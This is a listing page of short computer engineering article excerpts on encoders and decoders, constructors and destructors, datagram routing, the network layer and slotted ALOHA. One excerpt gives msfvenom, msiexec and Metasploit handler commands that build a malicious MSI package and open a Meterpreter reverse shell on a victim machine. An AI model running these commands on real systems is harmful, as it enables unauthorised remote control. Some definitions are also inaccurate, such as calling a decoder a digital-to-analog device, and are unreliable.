Found 518 Questions for Computer Engineering

What is the difference between Encoder and Decoder in Computer architecture?

Ginni
Updated on 23-Jul-2021 10:25:07
EncoderA digital circuit that executes the inverse services of a decoder is known as an encoder. It has 2n input lines and n output lines. In an encoder, the output lines create the binary code equivalent to the input value. The figure displays the general architecture of an encoder circuit.DecoderThe decoder is an electronic device that can modify a digital signal to an analog signal. It enables a single input line and creates multiple output lines. The decoders are used in several communication projects that are connected between two devices. The decoder enables N- inputs and creates 2 power N-numbers ... Read More

Difference Between Constructor and Destructor

Kiran Kumar Panigrahi
Updated on 01-Dec-2022 08:15:30
In object oriented programming, both constructor and destructor are the member functions of a class having the same name as the class. A constructor helps in initialization of an object, i.e., it allocates memory to an object. On the other hand, a destructor deletes the created constructor when it is of no use which means it deallocates the memory of an object. In this article, we will discuss the important differences between constructors and destructors. Let's start with some basic concepts of constructors and destructors. What is a Constructor? A constructor is a member function of a class that initializes ... Read More

Datagram Network

Moumita
Updated on 28-Nov-2020 08:16:32
In a connectionless communication systems, datagram refers to the smallest unit via which data is transmitted. Datagrams are data packets which contain adequate header information so that they can be individually routed by all intermediate network switching devices to the destination. These networks are called datagram networks since communication occurs via datagrams. They exist in packet switching networks.Features of Datagram NetworksDatagram switching is done at the network layer of the communication system.In datagram networks, each data packet or datagram is routed independently from the source to the destination even if they belong to the same message. The network treats the ... Read More

Routing within a datagram network

Moumita
Updated on 28-Nov-2020 08:15:34
In packet switching networks using datagrams, datagrams are data packets which contain adequate header information so that they can be individually routed by all intermediate switching devices to the destination. These networks are called datagram networks since communication occurs via datagrams.Routing PrincipleIn datagram networks, each data packet is routed independently from the source to the destination even if they belong to the same message. No prior resource or channel allocation is done for the individual packets. As the datagrams are treated as independent units, no dedicated path is fixed for data transfer. Each datagram is routed by the intermediate routers ... Read More

Store – and – Forward Packet Switching

Moumita
Updated on 28-Nov-2020 08:14:15
In telecommunications, store − and − forward packet switching is a technique where the data packets are stored in each intermediate node, before they are forwarded to the next node. The intermediate node checks whether the packet is error−free before transmitting, thus ensuring integrity of the data packets. In general, the network layer operates in an environment that uses store and forward packet switching.Working PrincipleThe node which has a packet to send, delivers it to the nearest node, i.e. router. The packet is stored in the router until it has fully arrived and its checksum is verified for error detection. ... Read More

Network Layer Design Issues

Moumita
Updated on 28-Nov-2020 08:12:16
The network layer or layer 3 of the OSI (Open Systems Interconnection) model is concerned delivery of data packets from the source to the destination across multiple hops or links. It is the lowest layer that is concerned with end − to − end transmission. The designers who are concerned with designing this layer needs to cater to certain issues. These issues encompasses the services provided to the upper layers as well as internal design of the layer.The design issues can be elaborated under four heads −Store − and − Forward Packet SwitchingServices to Transport LayerProviding Connection Oriented ServiceProviding Connectionless ... Read More

Functions of the Network Layer

Moumita
Updated on 28-Nov-2020 08:11:25
The main function of the network layer or layer 3 of the OSI (Open Systems Interconnection) model is delivery of data packets from the source to the destination across multiple hops or links. It also controls the operation of the subnet.The functions are elaborated as below −When data is to be sent, the network layer accepts data from the transport layer above, divides and encapsulates it into packets and sends it to the data link layer. The reverse procedure is done during receiving data.The network layer is responsible for routing packets from the source host to the destination host. The ... Read More

The Computer Network Layer

Moumita
Updated on 28-Nov-2020 08:11:02
The network layer or Layer 3 of the OSI (Open Systems Interconnection) model is responsible for the source to destination delivery of data packets across multiple hops or nodes. It controls the operation of the subnet.The position of the network layer in the OSI model is depicted in the following diagram −Functions of the Network LayerThe network layer is responsible for routing packets from the source host to the destination host. The routes can be based upon static tables that are rarely changed; or they can be automatically updated depending upon network conditions.Many networks are partitioned into sub-networks or subnets. ... Read More

Get the Reverse Shell with MSI package

Ajay yadav
Updated on 23-Sep-2020 12:27:26
Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. The executable program that interprets packages and installs products is Msiexec.exe.Launch msiexec attack via msfvenomLet’s generate an MSI Package file (1.msi) utilizing the Windows Meterpreter payload as follows;msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msiAt the target end, when the victim execute the 1.msi file on the remote machine with the following utiliy;msiexec /q /i http://192.168.1.109/1.msiThe attacker get the reverse shell of the victim machine by starting multi/handler as the listener.use exploit/multi/handlerset pyaload windows/meterpreter/reverse_tcpset lhost 192.168.1.109exploitRead More

Slotted ALOHA

Moumita
Updated on 23-Sep-2020 09:07:16
ALOHA is a medium access control (MAC) protocol for transmission of data via ashared network channel. Using this protocol, several data streams originating from multiple nodes are transferred through a multi-point transmission channel. There are two types of ALOHA protocols – Pure ALOHA and Slotted ALOHA.Slotted ALOHA was introduced in 1972 by Robert as an improvement over pure ALOHA. Here, time is divided into discrete intervals called slots, corresponding to a frame.Working PrincipleThe communicating stations agree upon the slot boundaries. Any station can send only one frame at each slot. Also, the stations cannot transmit at any time whenever a ... Read More
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